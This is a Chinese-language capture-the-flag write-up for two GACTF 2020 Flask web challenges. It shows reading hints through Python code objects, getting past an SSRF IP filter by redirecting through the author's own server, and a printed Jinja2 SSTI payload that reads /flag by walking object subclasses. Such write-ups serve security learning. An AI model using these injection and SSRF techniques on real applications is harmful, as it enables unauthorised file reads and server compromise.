2020 GCTF EZFLASK
进去之后给出了题目的源代码
1 | # -*- coding: utf-8 -*- |
尝试在eval页面执行命令,发现有waf而且过滤的很严格,不仅过滤了单双引号,还将[]
()
{}
全部过滤掉,看起来不能在这用SSTI做什么事情。源代码中的hint和trick都在ctf函数中,可以用代码对象__code__
来进行读取。
属性 | 描述 |
---|---|
co_argcount |
number of arguments (not including keyword only arguments, * or ** args) |
co_code |
string of raw compiled bytecode |
co_cellvars |
tuple of names of cell variables (referenced by containing scopes) |
co_consts |
tuple of constants used in the bytecode |
co_filename |
name of file in which this code object was created |
co_firstlineno |
number of first line in Python source code |
co_flags |
bitmap of CO_* flags, read more here |
co_lnotab |
encoded mapping of line numbers to bytecode indices |
co_freevars |
tuple of names of free variables (referenced via a function’s closure) |
co_kwonlyargcount |
number of keyword only arguments (not including ** arg) |
co_name |
name with which this code object was defined |
co_names |
tuple of names of local variables |
co_nlocals |
number of local variables |
co_stacksize |
virtual machine stack space required |
co_varnames |
tuple of names of arguments and local variables |
在eval函数中输入ctf.__code__.co_consts
,读取提示
1 | (None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple') |
提示了一个admin路由和5000端口。访问这个路由,给出的提示如下
1 | post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path |
看起来是要对服务器进行ssrf,于是构造payload
1 | ip=127.0.0.1&port=5000&path=/ |
但是被侦测为攻击,返回hacker?
,不允许访问。后来看了Vidar-Team的write-up,因为admin函数中又调用了waf_ip,而其中有下面这些变量,
1 | (None, '0.0', '192', '172', '10.0', '233.233', '1234567890.', 15, '.', 4) |
还是在eval页面查看admin函数都用了什么库,admin.__code__.co_names
,这个属性会返回函数中所有调用的库/函数以及全局变量
1 | ('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text') |
看到其中使用了requests库,那就说明可以用重定向在本地重定向请求。
在自己的服务器上创建重定向页面,在admin路由下访问
1 |
|
得到了源代码
1 | import flask |
很明显存在SSTI并且没有了过滤,payload如下
1 |
|
2020 GACTF simpleflask
同样也是gactf的题,没有这么多弯弯绕,就是bypass。明摆着告诉你有SSTI,就看你怎么绕。测试的时候发现无论怎么拼字符编码都被waf挡了,后来返现原来是过虑了+
,搞之前fuzz一下被过滤字符太有必要了。payload倒是不难,下面两个都可以。
1 | name={{"".__class__.__bases__[0].__subclasses__()[103].__init__.__globals__["op""en"]("/fla""g").read()}} |
但是不会列目录,服务器上用的python3,很多列目录的paylaod都不能用了,只能靠猜。
码一下很全的SSTI payload https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/